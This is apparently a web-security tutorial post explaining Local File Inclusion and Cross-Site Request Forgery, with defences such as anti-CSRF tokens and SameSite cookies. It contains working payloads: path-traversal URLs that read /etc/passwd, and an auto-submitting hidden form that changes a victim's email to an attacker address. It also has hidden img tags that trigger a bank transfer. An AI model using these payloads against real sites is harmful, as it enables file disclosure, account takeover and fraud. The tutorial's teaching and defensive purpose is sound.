Local File Inclusion

Local File Inclusion

cloudsecurityExploitation11/20/2025LlyrBy Llyr

LFI

Local File Inclusion (LFI) is a vulnerability that allows an attacker to include and execute or display a local file on the server. This typically occurs when a web application includes files based on user-supplied input without proper validation.


Basic LFI

A basic LFI vulnerability occurs when the application directly uses user input to build a file path for an include function.

For example, a web app might allow users to switch languages using a URL parameter: http://<SERVER_IP>:<PORT>/index.php?language=es.php

If the application is vulnerable, an attacker can change the file being requested to read sensitive system files. Two common targets are /etc/passwd on Linux and C:\Windows\boot.ini on Windows.

Example Payload: http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd

If successful, the contents of the /etc/passwd file will be displayed on the page, revealing system users.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

Path Traversal

Often, developers will prepend a directory path to the user's input.

Vulnerable Code Example:

include("./languages/" . $_GET['language']);

In this case, a direct request for /etc/passwd would fail because the application would look for ./languages//etc/passwd, which doesn't exist.

To bypass this, we can use path traversal (../) to move up from the current directory to the root directory before specifying the target file.

[!TIP] The sequence ../ refers to the parent directory. By using it multiple times, we can navigate up the directory tree to the root (/) directory.

Example Payload: http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd

This payload navigates up four directories before accessing /etc/passwd. Even if you use more ../ sequences than necessary, it will still resolve to the root directory on Linux systems.

Bypassing Filters

Filename Prefix

Sometimes, a prefix is added to the user input before it's included.

Vulnerable Code Example:

include("lang_" . $_GET['language']);

A standard path traversal payload like ../../../etc/passwd would result in an invalid path: lang_../../../etc/passwd. The bypass for this is often to treat the prefix as a directory by starting the payload with a /, but this is not always successful.

Example Payload: http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd

Appended Extensions

It is very common for applications to append a file extension, like .php.

Vulnerable Code Example:

include($_GET['language'] . ".php");

This prevents direct inclusion of files like /etc/passwd because the application will try to access /etc/passwd.php. Bypassing this requires more advanced techniques, such as using a NULL byte (%00) in older PHP versions or other wrappers and filters.

Second-Order LFI Attacks

A Second-Order LFI attack is more indirect. The attack occurs when:

  1. An attacker poisons a data entry (e.g., a username or user profile setting) with an LFI payload.
  2. A separate, different function within the application later retrieves this poisoned data from the database and uses it insecurely in a file inclusion call.

Example Scenario:

  1. A user registers with the username ../../etc/passwd.
  2. The application has a feature to download a user's avatar, using a URL like /profile/$username/avatar.png.
  3. When the avatar is requested, the application uses the username from the database to construct the file path, inadvertently including the contents of /etc/passwd instead of the avatar image.

[!WARNING] Developers often overlook these vulnerabilities because they may sanitize direct input (like URL parameters) but implicitly trust data retrieved from their own database.


[!NOTE] All techniques mentioned here are generally applicable to any LFI vulnerability, regardless of the back-end programming language or framework being used.

Cross-Site Request Forgery (CSRF)

Introduction

What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery (CSRF) is a web application vulnerability that tricks an authenticated user into submitting an unwanted command. Also known as "session riding" or a "one-click attack," CSRF exploits the trust a web application has in a user's browser.

The attack works by forcing a user's browser to send a forged request to a site where the user is currently authenticated. This request automatically includes the user's session credentials (e.g., session cookies), making the server believe it's a legitimate action initiated by the user. An attacker can leverage this to perform critical actions on the victim's behalf, such as changing a password, transferring funds, or making a purchase.

The Impact of CSRF Attacks

The severity of a CSRF attack depends on the application's functionality and the victim's privilege level. Key impacts include:

  • Unauthorized Actions: Performing state-changing actions like modifying account details (password, email), posting on social media, or placing orders.
  • Compromised Data Integrity: Unauthorized modification or deletion of data. If an administrator is targeted, other user accounts could be compromised.
  • Financial Losses: Initiating fraudulent money transfers or purchases in banking or e-commerce applications.
  • Account Takeover: Gaining full control of a victim's account by exploiting password or email change functions.

How CSRF Works

A successful CSRF attack requires three conditions:

  1. A Relevant Action: The application must have a sensitive action (e.g., changing a password) that the attacker wishes to trigger.
  2. Session-Based Authentication: The action must be authenticated solely using session cookies or similar credentials that the browser sends automatically.
  3. The Bait: The attacker must trick the victim's browser into sending the forged HTTP request to the target server.
sequenceDiagram
    participant User
    participant Attacker's Website
    participant User's Browser
    participant Vulnerable Website

    User->>Vulnerable Website: 1. Logs in, receives session cookie
    activate User's Browser
    Vulnerable Website-->>User's Browser: Session cookie stored

    User->>Attacker's Website: 2. Visits malicious site
    Attacker's Website-->>User's Browser: 3. Serves malicious HTML/JS (e.g., hidden form, img tag)
    User's Browser->>Vulnerable Website: 4. Automatically sends forged request + session cookie
    activate Vulnerable Website
    Vulnerable Website->>Vulnerable Website: 5. Server validates session cookie and processes the malicious request
    Vulnerable Website-->>User's Browser: Response (victim is unaware)
    deactivate Vulnerable Website
    deactivate User's Browser

A diagram illustrating the flow of a CSRF attack.

Example Scenario:

  1. A victim logs into their bank at https://vulnerable-bank.com. Their browser stores a session cookie for this site.
  2. An attacker crafts a request to transfer money, such as https://vulnerable-bank.com/transfer?to=attacker&amount=1000.
  3. The attacker embeds this request on their own website, https://attacker-site.com, using a hidden <img> tag.
<!-- HTML code on attacker-site.com -->
<img src="https://vulnerable-bank.com/transfer?to=attacker&amount=1000" width="0" height="0">
  1. The victim, while their banking session is active, visits https://attacker-site.com.
  2. The victim's browser sees the <img> tag and automatically sends a GET request to its src URL. Crucially, the browser includes the session cookie for vulnerable-bank.com.
  3. The bank's server receives the request with a valid session cookie, treats it as a legitimate action, and transfers the money. The victim remains unaware.

Key Concepts

Concept Description
Cookie Small pieces of data stored in a user's browser, used by websites to remember sessions and preferences.
Session A server-side mechanism to store user-specific information throughout their interaction with a website.
HTTP Request A call made by a client (like a browser) to a server to request or send data. GET and POST are common methods.
Same-Origin Policy (SOP) A browser security mechanism that restricts how a document or script from one origin can interact with a resource from another. SOP restricts reading data across origins but generally does not prevent writing data (e.g., submitting a form), which is what CSRF exploits.
Payload The forged request crafted by the attacker to be sent by the victim's browser to the target server.

Detection and Exploitation

Key Indicators of Vulnerability

The primary indicator of a CSRF vulnerability is the absence of a secret, unpredictable token used to verify a request's authenticity. If a state-changing request relies solely on a session cookie, it is likely vulnerable.

Look for the absence of parameters or headers like these:

  • Common Token Parameter Names: csrf_token, authenticity_token, __RequestVerificationToken, xsrf_token, nonce.
  • Common Token Header Names (for AJAX): X-CSRF-Token, X-XSRF-TOKEN.

POST-Based CSRF Exploitation

This is the most common form of CSRF, targeting actions performed via POST requests, typically from form submissions.

Scenario: Changing a user's email address.

1. Legitimate Request Analysis A legitimate request to change an email address looks like this:

POST /my-profile/change-email HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=AbC1dE2fGhI3jK4LmN5oPqR6sT7uV8wX

email=new.user.email@example.com

Notice there is no unpredictable token, only the session cookie. This is a vulnerability.

2. Preparing the CSRF Payload The attacker creates a web page with a hidden, auto-submitting form.

<!-- attacker-site.com/csrf.html -->
<html>
  <body>
    <h3>Loading...</h3>
    <form action="https://vulnerable-site.com/my-profile/change-email" method="POST">
      <input type="hidden" name="email" value="attacker.email@evil.com" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

3. Exploitation and Result

  1. The victim logs into vulnerable-site.com.
  2. The attacker tricks the victim into visiting https://attacker-site.com/csrf.html.
  3. The JavaScript on the page automatically submits the form. The victim's browser sends the forged POST request, automatically attaching the valid session cookie.
  4. The server accepts the request and changes the victim's email, allowing the attacker to initiate a password reset and take over the account.

GET-Based CSRF Exploitation

If a state-changing action is performed via a GET request (a poor design choice), exploitation is even easier.

Scenario: Forcing a user to follow the attacker's account.

1. Legitimate Request Analysis A legitimate "follow" action might look like this:

GET /user/follow?user_id=123 HTTP/1.1
Host: vulnerable-social.com
Cookie: session=Z1Y2X3W4V5U6T7S8R9Q0P

2. Preparing the CSRF Payload The attacker can trigger this request with a simple <img> tag, a link, or other resource-loading tags.

<!-- attacker-site.com/lure.html -->
<html>
  <body>
    <h3>Check out these cool cats!</h3>
    <img src="https://vulnerable-social.com/user/follow?user_id=attacker_id" style="display:none;">
  </body>
</html>

Alternatively, the attacker can just send the malicious URL directly to the victim and entice them to click it.

3. Exploitation and Result When the victim loads the page or clicks the link, their browser sends the GET request with their session cookie, causing them to unknowingly follow the attacker.


Impacts and Payloads

Potential Impacts of CSRF Attacks

Action Type Example Scenario Potential Impact
Account Management Changing a user's email or password. Complete account takeover.
Financial Transactions Transferring money, buying/selling stocks. Direct financial loss, fraud.
E-commerce Actions Adding items to a cart, placing an order. Unwanted purchases.
Social Media Posting content, sending messages, adding friends. Reputational damage, spreading spam.
Privilege Escalation Making an admin grant privileges to another user. Unauthorized system access.
Data Manipulation Deleting a blog post or other user data. Data loss, service disruption.

Basic CSRF Payloads

GET-Based Payloads

Payload Description
<a href="...">Click Me!</a> Triggers when the user clicks the link.
<img src="..."> Triggers automatically when the page loads. Can be hidden.
<link rel="stylesheet" href="..."> Triggers automatically, pretending to be a CSS file.
<script src="..."></script> Triggers automatically, pretending to be a JavaScript file.

POST-Based Payloads

Payload Description
<form...><script>document.forms[0].submit();</script> The most common payload. An auto-submitting form.
<iframe style="display:none" name="csrf-iframe"></iframe><form target="csrf-iframe">... Submits the form into a hidden iframe to prevent the page from reloading, making the attack stealthier.

Prevention Methods

1. Anti-CSRF Tokens (Synchronizer Token Pattern)

This is the most robust defense. The server generates a unique, unpredictable token for each user session and requires it to be submitted with every state-changing request.

sequenceDiagram
    participant Client
    participant Server

    Client->>Server: 1. Requests a page with a form
    activate Server
    Server->>Server: 2. Generates unique CSRF token
    Server->>Server: 3. Stores token in user's session
    Server-->>Client: 4. Responds with the page, including the token in a hidden form field
    deactivate Server

    Client->>Client: 5. User fills out and submits the form

    Client->>Server: 6. POST request with form data + CSRF token
    activate Server
    Server->>Server: 7. Compares the submitted token with the token stored in the session
    alt Tokens Match
        Server-->>Client: 8. Request is valid, process the action (Success)
    else Tokens Do Not Match
        Server-->>Client: 8. Request is invalid, reject the action (Failure)
    end
    deactivate Server

The workflow of the Anti-CSRF Token (Synchronizer Token) pattern.

Secure Code Example (PHP):

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 1. VALIDATE TOKEN
    if (!isset($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        die('Invalid CSRF Token!');
    }
    // Process the action...
    echo "Email updated successfully!";
    // Regenerate token after use
    unset($_SESSION['csrf_token']);
}

// 2. GENERATE TOKEN for the form
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>

<!-- Secure Form -->
<form method="POST">
    <label for="email">New Email:</label>
    <input type="email" id="email" name="email">
    <!-- 3. EMBED TOKEN in a hidden field -->
    <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token']); ?>">
    <button type="submit">Update</button>
</form>```

**Usage in Modern JavaScript Applications (AJAX/SPA):**
For SPAs, the token is often placed in a `<meta>` tag on page load and then attached as a custom HTTP header (`X-CSRF-TOKEN`) to all subsequent AJAX requests.

### 2. SameSite Cookie Attribute
This browser-level defense instructs browsers when to send cookies with cross-site requests.
*   `Strict`: The cookie is *only* sent for same-site requests. Most secure, but can break functionality related to external links.
*   `Lax`: A good balance. The cookie is sent on top-level navigation (e.g., clicking a link) but blocked on cross-site subrequests (`POST` forms, `<img>`, `<iframe>`). **This is the default for most modern browsers.**
*   `None`: The cookie is sent with all requests. Requires the `Secure` attribute (HTTPS).

**Example Header:**
```http
Set-Cookie: session=AbC1dE2fGh...; SameSite=Lax; HttpOnly; Secure

3. Referer Header Validation

The server can check the Referer header to ensure the request originated from its own domain. However, this is unreliable as a primary defense because the Referer can be suppressed by browsers or proxies for privacy reasons. It should only be used as a secondary check.


Tools and Resources

Automated Scanning and Testing Tools

Tool Description License Address
Burp Suite Industry-standard proxy and scanner. The Pro version can automatically detect CSRF and generate PoCs. Commercial / Free https://portswigger.net/burp
OWASP ZAP Popular open-source security scanner with automated and manual testing tools for detecting CSRF. Open Source https://www.zaproxy.org/
XSRFProbe A Python-based tool specifically designed to find and exploit CSRF vulnerabilities. Open Source https://github.com/0xInfection/XSRFProbe

Automated PoC Generation

Resource Description Address
security.love CSRF PoC A simple and fast online PoC generator. security.love/CSRF-PoC-Genorator
Hacktify CSRF PoC Generator Instantly creates HTML PoC code by pasting a raw HTTP request. hacktify.in/csrf

Payload Lists and References

Resource Description Address
PayloadAllTheThings Comprehensive repository of payloads and exploitation techniques for many vulnerabilities, including CSRF. GitHub
OWASP CSRF Cheat Sheet A detailed reference from OWASP covering prevention methods against CSRF attacks. OWASP
Share: